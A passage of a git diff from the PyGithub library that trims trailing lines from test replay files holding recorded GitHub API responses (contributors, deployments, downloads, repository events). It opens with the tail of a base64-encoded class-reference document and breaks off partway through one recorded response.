GBhY3RpdmVgOiBib29sCiogYGdldF9ob29rKCBpZCAp\nYDogYEhvb2tgCiAgICAqIGBpZGA6IGludGVnZXIKKiBgZ2V0X2hvb2tzKClg\nOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEhvb2tgCgpJc3N1ZXMKLS0tLS0tCiog\nYGNyZWF0ZV9pc3N1ZSggdGl0bGUsIFtib2R5LCBhc3NpZ25lZSwgbWlsZXN0\nb25lLCBsYWJlbHNdIClgOiBgSXNzdWVgCiAgICAqIGB0aXRsZWA6IHN0cmlu\nZwogICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgYXNzaWduZWVgOiBgTmFt\nZWRVc2VyYAogICAgKiBgbWlsZXN0b25lYDogYE1pbGVzdG9uZWAKICAgICog\nYGxhYmVsc2A6IGxpc3Qgb2YgYExhYmVsYAoqIGBnZXRfaXNzdWUoIG51bWJl\nciApYDogYElzc3VlYAogICAgKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBnZXRf\naXNzdWVzKCBbbWlsZXN0b25lLCBzdGF0ZSwgYXNzaWduZWUsIG1lbnRpb25l\nZCwgbGFiZWxzLCBzb3J0LCBkaXJlY3Rpb24sIHNpbmNlXSApYDogYFBhZ2lu\nYXRlZExpc3RgIG9mIGBJc3N1ZWAKICAgICogYG1pbGVzdG9uZWA6IGBNaWxl\nc3RvbmVgIG9yICJub25lIiBvciAiKiIKICAgICogYHN0YXRlYDogc3RyaW5n\nCiAgICAqIGBhc3NpZ25lZWA6IGBOYW1lZFVzZXJgIG9yICJub25lIiBvciAi\nKiIKICAgICogYG1lbnRpb25lZGA6IGBOYW1lZFVzZXJgCiAgICAqIGBsYWJl\nbHNgOiBsaXN0IG9mIGBMYWJlbGAKICAgICogYHNvcnRgOiBzdHJpbmcKICAg\nICogYGRpcmVjdGlvbmA6IHN0cmluZwogICAgKiBgc2luY2VgOiBkYXRldGlt\nZS5kYXRldGltZQoqIGBsZWdhY3lfc2VhcmNoX2lzc3Vlcyggc3RhdGUsIGtl\neXdvcmQgKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgSXNzdWVgCiAgICAqIGBz\ndGF0ZWA6ICJvcGVuIiBvciAiY2xvc2VkIgogICAgKiBga2V5d29yZGA6IHN0\ncmluZwoKSXNzdWVzX2V2ZW50cwotLS0tLS0tLS0tLS0tCiogYGdldF9pc3N1\nZXNfZXZlbnQoIGlkIClgOiBgSXNzdWVFdmVudGAKICAgICogYGlkYDogaW50\nZWdlcgoqIGBnZXRfaXNzdWVzX2V2ZW50cygpYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBJc3N1ZUV2ZW50YAoKS2V5cwotLS0tCiogYGNyZWF0ZV9rZXkoIHRp\ndGxlLCBrZXkgKWA6IGBSZXBvc2l0b3J5S2V5YAogICAgKiBgdGl0bGVgOiBz\ndHJpbmcKICAgICogYGtleWA6IHN0cmluZwoqIGBnZXRfa2V5KCBpZCApYDog\nYFJlcG9zaXRvcnlLZXlgCiAgICAqIGBpZGA6IGludGVnZXIKKiBgZ2V0X2tl\neXMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeUtleWAKCkxh\nYmVscwotLS0tLS0KKiBgY3JlYXRlX2xhYmVsKCBuYW1lLCBjb2xvciApYDog\nYExhYmVsYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgY29sb3JgOiBz\ndHJpbmcKKiBgZ2V0X2xhYmVsKCBuYW1lIClgOiBgTGFiZWxgCiAgICAqIGBu\nYW1lYDogc3RyaW5nCiogYGdldF9sYWJlbHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgTGFiZWxgCgpMYW5ndWFnZXMKLS0tLS0tLS0tCiogYGdldF9sYW5n\ndWFnZXMoKWA6IGRpY3Qgb2Ygc3RyaW5nIHRvIGludGVnZXIKCk1lcmdpbmcK\nLS0tLS0tLQoqIGBtZXJnZSggYmFzZSwgaGVhZCwgW2NvbW1pdF9tZXNzYWdl\nXSApYDogYENvbW1pdGAKICAgICogYGJhc2VgOiBzdHJpbmcKICAgICogYGhl\nYWRgOiBzdHJpbmcKICAgICogYGNvbW1pdF9tZXNzYWdlYDogc3RyaW5nCgpN\naWxlc3RvbmVzCi0tLS0tLS0tLS0KKiBgY3JlYXRlX21pbGVzdG9uZSggdGl0\nbGUsIFtzdGF0ZSwgZGVzY3JpcHRpb24sIGR1ZV9vbl0gKWA6IGBNaWxlc3Rv\nbmVgCiAgICAqIGB0aXRsZWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBkdWVfb25g\nOiBkYXRlCiogYGdldF9taWxlc3RvbmUoIG51bWJlciApYDogYE1pbGVzdG9u\nZWAKICAgICogYG51bWJlcmA6IGludGVnZXIKKiBgZ2V0X21pbGVzdG9uZXMo\nIFtzdGF0ZSwgc29ydCwgZGlyZWN0aW9uXSApYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBNaWxlc3RvbmVgCiAgICAqIGBzdGF0ZWA6IHN0cmluZwogICAgKiBg\nc29ydGA6IHN0cmluZwogICAgKiBgZGlyZWN0aW9uYDogc3RyaW5nCgpNb2Rp\nZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIG5hbWUsIFtkZXNjcmlw\ndGlvbiwgaG9tZXBhZ2UsIHB1YmxpYywgaGFzX2lzc3VlcywgaGFzX3dpa2ks\nIGhhc19kb3dubG9hZHMsIGRlZmF1bHRfYnJhbmNoXSApYAogICAgKiBgbmFt\nZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKICAgICog\nYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBwdWJsaWNgOiBib29sCiAgICAq\nIGBoYXNfaXNzdWVzYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAg\nICAqIGBoYXNfZG93bmxvYWRzYDogYm9vbAogICAgKiBgZGVmYXVsdF9icmFu\nY2hgOiBzdHJpbmcKClB1bGxzCi0tLS0tCiogYGNyZWF0ZV9wdWxsKCA8IHRp\ndGxlLCBib2R5LCBiYXNlLCBoZWFkID4gb3IgPCBpc3N1ZSwgYmFzZSwgaGVh\nZCA+IClgOiBgUHVsbFJlcXVlc3RgCiAgICAqIGB0aXRsZWA6IHN0cmluZwog\nICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgaXNzdWVgOiBgSXNzdWVgCiAg\nICAqIGBiYXNlYDogc3RyaW5nCiAgICAqIGBoZWFkYDogc3RyaW5nCiogYGdl\ndF9wdWxsKCBudW1iZXIgKWA6IGBQdWxsUmVxdWVzdGAKICAgICogYG51bWJl\ncmA6IGludGVnZXIKKiBgZ2V0X3B1bGxzKCBbc3RhdGVdIClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYFB1bGxSZXF1ZXN0YAogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKClN0YXJnYXplcnMKLS0tLS0tLS0tLQoqIGBnZXRfc3RhcmdhemVycygp\nYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1lZFVzZXJgCgpTdWJzY3JpYmVy\ncwotLS0tLS0tLS0tLQoqIGBnZXRfc3Vic2NyaWJlcnMoKWA6IGBQYWdpbmF0\nZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoKVGFncwotLS0tCiogYGdldF90YWdz\nKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFRhZ2AKClRlYW1zCi0tLS0tCiog\nYGdldF90ZWFtcygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBUZWFtYAoKV2F0\nY2hlcnMKLS0tLS0tLS0KKiBgZ2V0X3dhdGNoZXJzKClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYE5hbWVkVXNlcmAKCkNsYXNzIGBSZXBvc2l0b3J5S2V5YAo9\nPT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoq\nIGBpZGA6IGludGVnZXIKKiBga2V5YDogc3RyaW5nCiogYHRpdGxlYDogc3Ry\naW5nCiogYHVybGA6IHN0cmluZwoqIGB2ZXJpZmllZGA6IGJvb2wKCkRlbGV0\naW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0t\nLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGtleV0gKWAKICAgICogYHRpdGxl\nYDogc3RyaW5nCiAgICAqIGBrZXlgOiBzdHJpbmcKCkNsYXNzIGBUYWdgCj09\nPT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29tbWl0YDog\nYENvbW1pdGAKKiBgbmFtZWA6IHN0cmluZwoqIGB0YXJiYWxsX3VybGA6IHN0\ncmluZwoqIGB6aXBiYWxsX3VybGA6IHN0cmluZwoKQ2xhc3MgYFRlYW1gCj09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGlkYDogaW50\nZWdlcgoqIGBtZW1iZXJzX2NvdW50YDogaW50ZWdlcgoqIGBuYW1lYDogc3Ry\naW5nCiogYHBlcm1pc3Npb25gOiBzdHJpbmcKKiBgcmVwb3NfY291bnRgOiBp\nbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKRGVsZXRpb24KLS0tLS0tLS0KKiBg\nZGVsZXRlKClgCgpNZW1iZXJzCi0tLS0tLS0KKiBgYWRkX3RvX21lbWJlcnMo\nIG1lbWJlciApYAogICAgKiBgbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgZ2V0\nX21lbWJlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoq\nIGBoYXNfaW5fbWVtYmVycyggbWVtYmVyIClgOiBib29sCiAgICAqIGBtZW1i\nZXJgOiBgTmFtZWRVc2VyYAoqIGByZW1vdmVfZnJvbV9tZW1iZXJzKCBtZW1i\nZXIgKWAKICAgICogYG1lbWJlcmA6IGBOYW1lZFVzZXJgCgpNb2RpZmljYXRp\nb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIG5hbWUsIFtwZXJtaXNzaW9uXSAp\nYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgcGVybWlzc2lvbmA6IHN0\ncmluZwoKUmVwb3MKLS0tLS0KKiBgYWRkX3RvX3JlcG9zKCByZXBvIClgCiAg\nICAqIGByZXBvYDogYFJlcG9zaXRvcnlgCiogYGdldF9yZXBvcygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBSZXBvc2l0b3J5YAoqIGBoYXNfaW5fcmVwb3Mo\nIHJlcG8gKWA6IGJvb2wKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBg\ncmVtb3ZlX2Zyb21fcmVwb3MoIHJlcG8gKWAKICAgICogYHJlcG9gOiBgUmVw\nb3NpdG9yeWAKCkNsYXNzIGBVc2VyS2V5YAo9PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBpZGA6IGludGVnZXIKKiBga2V5YDog\nc3RyaW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoqIGB2\nZXJpZmllZGA6IGJvb2wKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgp\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUs\nIGtleV0gKWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAqIGBrZXlgOiBz\ndHJpbmcK\n","_links":{"git":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/07b170f1d3df085278aafbc49164178ba0df7d59","html":"https://github.com/jacquev6/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/doc/ReferenceOfClasses.md","self":"https://api.github.com/repos/jacquev6/PyGithub/contents/doc/ReferenceOfClasses.md?ref=refs/heads/topic/ExperimentOnDocumentation"},"git_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/07b170f1d3df085278aafbc49164178ba0df7d59","sha":"07b170f1d3df085278aafbc49164178ba0df7d59","size":32406,"encoding":"base64","name":"ReferenceOfClasses.md"} - diff --git a/tests/ReplayData/Repository.testGetContributors.txt b/tests/ReplayData/Repository.testGetContributors.txt index f32e2d40d3..5c48df8ea0 100644 --- a/tests/ReplayData/Repository.testGetContributors.txt +++ b/tests/ReplayData/Repository.testGetContributors.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '318'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3ce61bc2417a6a4f7b47976a7969c711"'), ('date', 'Sun, 20 May 2012 12:10:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"contributions":355,"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}] - diff --git a/tests/ReplayData/Repository.testGetDeployments.txt b/tests/ReplayData/Repository.testGetDeployments.txt index 447ead193a..a73c57ce27 100644 --- a/tests/ReplayData/Repository.testGetDeployments.txt +++ b/tests/ReplayData/Repository.testGetDeployments.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Wed, 26 Aug 2020 13:30:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"38512da93238689c49f6a4fab46c4650"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1598452199'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8774:5DBE:4951B1C:598D725:5F4663D8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:44:53Z","updated_at":"2020-08-26T11:44:53Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/262350588","id":262350588,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTA1ODg=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{},"original_environment":"production","environment":"production","description":null,"creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:40:41Z","updated_at":"2020-08-26T11:40:41Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/262350588/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":false,"production_environment":false,"performed_via_github_app":null}] - diff --git a/tests/ReplayData/Repository.testGetDownloads.txt b/tests/ReplayData/Repository.testGetDownloads.txt index 39a8a5b9d6..72dc935f62 100644 --- a/tests/ReplayData/Repository.testGetDownloads.txt +++ b/tests/ReplayData/Repository.testGetDownloads.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '277'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"209ba3e85bfec4914fb88bb2d12b55e9"'), ('date', 'Sun, 27 May 2012 06:55:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"content_type":".py","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/245143","size":1024,"name":"Hook.py","created_at":"2012-05-27T06:54:54Z","description":"","id":245143,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Hook.py"}] - diff --git a/tests/ReplayData/Repository.testGetEvents.txt b/tests/ReplayData/Repository.testGetEvents.txt index 3cd6c4b888..378dee9421 100644 --- a/tests/ReplayData/Repository.testGetEvents.txt +++ b/tests/ReplayData/Repository.testGetEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '44412'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"a0d405b3f385bd0d26640c75b50c95dd"'), ('date', 'Sun, 27 May 2012 06:57:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"DownloadEvent","payload":{"download":{"name":"Hook.py","size":1024,"created_at":"2012-05-27T06:54:54Z","content_type":".py","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/245143","download_count":0,"id":245143,"description":"","html_url":"https://github.com/downloads/jacquev6/PyGithub/Hook.py"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T06:54:55Z","id":"1556239111","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"htmlcov.zip","size":258048,"created_at":"2012-05-27T06:53:47Z","content_type":".zip","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/245142","id":245142,"description":"","html_url":"https://github.com/downloads/jacquev6/PyGithub/htmlcov.zip"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T06:53:48Z","id":"1556239049","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"956279094a7383b6a8f00c93770ed02ca711f8e5","size":4,"push_id":80734053,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"8cb3e63e80f3ab741ca580eed791a85fb4e1b968","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8cb3e63e80f3ab741ca580eed791a85fb4e1b968","distinct":true,"message":"Test Team"},{"sha":"e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","distinct":true,"message":"Test Organization members"},{"sha":"4169010f17cf66a9f1e43e476115485ed7cda90c","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4169010f17cf66a9f1e43e476115485ed7cda90c","distinct":true,"message":"Improve coverage of Organization"},{"sha":"956279094a7383b6a8f00c93770ed02ca711f8e5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","distinct":true,"message":"Test Repository.create_git_*"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T06:00:30Z","id":"1556235497","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":30,"created_at":"2012-05-27T05:40:15Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body created by PyGithub","comments":0,"title":"Issue also created by PyGithub","updated_at":"2012-05-27T05:40:15Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","id":4769659,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"due_on":"2012-06-04T07:00:00Z","created_at":"2012-03-08T12:22:28Z","title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":10,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/30","labels":[{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T05:40:15Z","id":"1556234207","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"MemberEvent","payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T05:34:29Z","id":"1556233923","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"MemberEvent","payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T05:33:44Z","id":"1556233882","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"ForkEvent","payload":{"forkee":{"name":"PyGithub","size":348,"has_wiki":false,"created_at":"2012-05-27T05:23:17Z","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","public":true,"watchers":1,"private":false,"updated_at":"2012-05-27T05:23:18Z","git_url":"git://github.com/BeaverSoftware/PyGithub.git","fork":true,"language":"Python","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","id":4460027,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-26T20:54:13Z","has_downloads":true,"mirror_url":null,"open_issues":0,"full_name":"BeaverSoftware/PyGithub","has_issues":false,"homepage":"http://vincent-jacques.net/PyGithub","description":"Python library implementing the full Github API v3","forks":0,"html_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-27T05:23:18Z","id":"1556233222","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}},{"type":"PushEvent","payload":{"head":"a39af6a0aae16a923f7be48a70fe1095b17280d2","size":2,"push_id":80709334,"commits":[{"sha":"60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","distinct":true,"message":"Heavy refactoring of integration tests"},{"sha":"a39af6a0aae16a923f7be48a70fe1095b17280d2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a39af6a0aae16a923f7be48a70fe1095b17280d2","distinct":true,"message":"Improve test 